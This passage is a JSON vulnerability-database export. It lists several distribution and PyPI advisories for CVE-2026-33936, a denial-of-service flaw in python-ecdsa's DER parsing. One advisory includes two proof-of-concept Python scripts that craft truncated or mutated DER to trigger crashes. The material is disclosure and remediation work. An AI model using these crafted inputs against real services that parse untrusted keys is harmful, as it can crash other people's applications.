Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.(CVE-2026-33936)","status":"published","published":"2026-04-03T11:10:51Z","modified":"2026-08-18T01:19:45.833766062Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:46.087701Z"},{"id":"OESA-2026-1836","title":"python-ecdsa security update","description":"This is an easy-to-use implementation of ECDSA cryptography (Elliptic Curve Digital Signature Algorithm), implemented purely in Python, released under  the MIT license. With this library, you can quickly create keypairs (signing  key and verifying key), sign messages, and verify the signatures. The keys  and signatures are very short, making them easy to handle and incorporate  into other protocols.\r\n\r\nSecurity Fix(es):\n\nThe `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.(CVE-2026-33936)","status":"published","published":"2026-04-11T11:10:51Z","modified":"2026-08-18T01:19:45.8736022Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:46.087701Z"},{"id":"OESA-2026-1837","title":"python-ecdsa security update","description":"This is an easy-to-use implementation of ECDSA cryptography (Elliptic Curve Digital Signature Algorithm), implemented purely in Python, released under  the MIT license. With this library, you can quickly create keypairs (signing  key and verifying key), sign messages, and verify the signatures. The keys  and signatures are very short, making them easy to handle and incorporate  into other protocols.\r\n\r\nSecurity Fix(es):\n\nThe `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.(CVE-2026-33936)","status":"published","published":"2026-04-11T11:10:51Z","modified":"2026-08-18T01:19:45.89054857Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:46.087701Z"},{"id":"OESA-2026-1838","title":"python-ecdsa security update","description":"This is an easy-to-use implementation of ECDSA cryptography (Elliptic Curve Digital Signature Algorithm), implemented purely in Python, released under  the MIT license. With this library, you can quickly create keypairs (signing  key and verifying key), sign messages, and verify the signatures. The keys  and signatures are very short, making them easy to handle and incorporate  into other protocols.\r\n\r\nSecurity Fix(es):\n\nThe `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.(CVE-2026-33936)","status":"published","published":"2026-04-11T11:10:51Z","modified":"2026-08-18T01:19:45.883560897Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:46.087701Z"},{"id":"OESA-2026-1839","title":"python-ecdsa security update","description":"This is an easy-to-use implementation of ECDSA cryptography (Elliptic Curve Digital Signature Algorithm), implemented purely in Python, released under  the MIT license. With this library, you can quickly create keypairs (signing  key and verifying key), sign messages, and verify the signatures. The keys  and signatures are very short, making them easy to handle and incorporate  into other protocols.\r\n\r\nSecurity Fix(es):\n\nThe `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.(CVE-2026-33936)","status":"published","published":"2026-04-11T11:10:51Z","modified":"2026-08-18T01:19:46.962260119Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:46.087701Z"},{"id":"PYSEC-2026-2467","title":"python-ecdsa: Denial of Service via improper DER length validation in crafted private keys","description":"## Summary\n\nAn issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.\n\n1. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected.\n\n2. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.\n\n## Impact\n\nPotential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.\n\n## Reproduction\n\nAttach and run the following PoCs:\n\n###  poc_truncated_der_octet.py\n\n```python\nfrom ecdsa.der import remove_octet_string, UnexpectedDER\n\n# OCTET STRING (0x04)\n# Declared length: 0x82 0x10 0x00  -\u003e 4096 bytes\n# Actual body: only 3 bytes -\u003e truncated DER\nbad = b\"\\x04\\x82\\x10\\x00\" + b\"ABC\"\n\ntry:\n    body, rest = remove_octet_string(bad)\n    print(\"[BUG] remove_octet_string accepted truncated DER.\")\n    print(\"Declared length=4096, actual body_len=\", len(body), \"rest_len=\", len(rest))\n    print(\"Body=\", body)\n    print(\"Rest=\", rest)\nexcept UnexpectedDER as e:\n    print(\"[OK] Rejected malformed DER:\", e)\n```\n\n- Expected: reject malformed DER when declared length exceeds available bytes\n- Actual: accepts the truncated DER and returns a shorter body\n- Example output:\n```\nParsed body_len= 3 rest_len= 0 (while declared length is 4096)\n```\n\n### poc_signingkey_from_der_indexerror.py\n\n```python\nfrom ecdsa import SigningKey, NIST256p\nimport ecdsa\n\nprint(\"ecdsa version:\", ecdsa.__version__)\n\nsk = SigningKey.generate(curve=NIST256p)\ngood = sk.to_der()\nprint(\"Good DER len:\", len(good))\n\n\ndef find_crashing_mutation(data: bytes):\n    b = bytearray(data)\n\n    # Try every OCTET STRING tag position and corrupt a short-form length byte\n    for i in range(len(b) - 4):\n        if b[i] != 0x04:  # OCTET STRING tag\n            continue\n\n        L = b[i + 1]\n        if L \u003e= 0x80:\n            # skip long-form lengths for simplicity\n            continue\n\n        max_possible = len(b) - (i + 2)\n        if max_possible \u003c= 10:\n            continue\n\n        # Claim more bytes than exist -\u003e truncation\n        newL = min(0x7F, max_possible + 20)\n        b2 = bytearray(b)\n        b2[i + 1] = newL\n\n        try:\n            SigningKey.from_der(bytes(b2))\n        except Exception as e:\n            return i, type(e).__name__, str(e)\n\n    return None\n\n\nres = find_crashing_mutation(good)\nif res is None:\n    print(\"[INFO] No exception triggered by this mutation strategy.\")\nelse:\n    i, etype, msg = res\n    print(\"[BUG] SigningKey.from_der raised unexpected exception type.\")\n    print(\"Offset:\", i, \"Exception:\", etype, \"Message:\", msg)\n```\n\n- Expected: reject malformed DER with `UnexpectedDER` or `ValueError`\n- Actual: deterministically triggers an internal `IndexError` (DoS risk)\n- Example output:\n```\nResult: (5, 'IndexError', 'index out of bounds on dimension 1')\n```\n\n## Suggested fix\n\nAdd “declared length must fit buffer” checks in DER helper functions similarly to the existing check in `remove_sequence()`:\n\n- `remove_octet_string()`\n- `remove_constructed()`\n- `remove_implicit()`\n\nAdditionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as `UnexpectedDER` to avoid crashy failure modes.\n\n## Credit\n\nMohamed Abdelaal (@0xmrma)","status":"published","published":"2026-07-13T14:36:45.132128Z","modified":"2026-07-13T16:31:45.568903235Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:55.961245Z"},{"id":"UBUNTU-CVE-2026-33936","description":"The `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.","status":"published","published":"2026-03-27T23:17:00Z","modified":"2026-10-17T12:58:11.822357204Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T16:56:16.036833Z"},{"id":"AZL-80975","title":"CVE-2026-33936 affecting package python-ecdsa for versions less than 0.19.2-1","description":"The `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.","status":"published","published":"2026-03-27T23:17:13Z","modified":"2026-08-28T17:56:47.068839Z","updated_at":"2026-11-02T15:28:10.017343Z"},{"id":"openSUSE-SU-2026:10468-1","title":"python311-ecdsa-0.19.2-1.1 on GA media","description":"These are all security issues fixed in the python311-ecdsa-0.19.2-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-03-31T00:00:00Z","modified":"2026-04-01T08:00:11.263265Z","updated_at":"2026-11-02T16:58:38.415593Z"},{"id":"openSUSE-SU-2026:21078-1","title":"Security update for python-ecdsa","description":"This update for python-ecdsa fixes the following issue:\n\n- CVE-2026-33936: issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the\n  public API functions (bsc#1261009).\n","status":"published","published":"2026-06-18T09:36:30Z","modified":"2026-06-30T18:24:39.259161661Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"ROOT-APP-PYPI-CVE-2026-33936","title":"CVE-2026-33936 in ecdsa - Patched by Root","description":"Root has patched CVE-2026-33936 in the ecdsa package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-08-05T07:20:46Z","modified":"2026-08-09T23:00:04.488071404Z","updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"SUSE-SU-2026:1436-1","title":"Security update for python-ecdsa","description":"This update for python-ecdsa fixes the following issues:\n\n- CVE-2026-33936: issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the\n  public API functions (bsc#1261009).\n","status":"published","published":"2026-04-17T12:51:27Z","modified":"2026-04-18T08:00:53.018368Z","updated_at":"2026-11-02T15:54:01.262144Z"},{"id":"SUSE-SU-2026:1608-1","title":"Security update for python-ecdsa","description":"This update for python-ecdsa fixes the following issues:\n\n- CVE-2026-33936: issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the\n  public API functions (bsc#1261009).\n","status":"published","published":"2026-04-24T11:51:39Z","modified":"2026-04-25T07:45:53.970667Z","updated_at":"2026-11-02T15:54:01.610851Z"},{"id":"SUSE-SU-2026:22158-1","title":"Security update for python-ecdsa","description":"This update for python-ecdsa fixes the following issue:\n\n- CVE-2026-33936: issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the\n  public API functions (bsc#1261009).\n","status":"published","published":"2026-06-18T09:37:09Z","modified":"2026-06-24T18:24:22.612903197Z","updated_at":"2026-11-02T15:54:02.654057Z"}]}}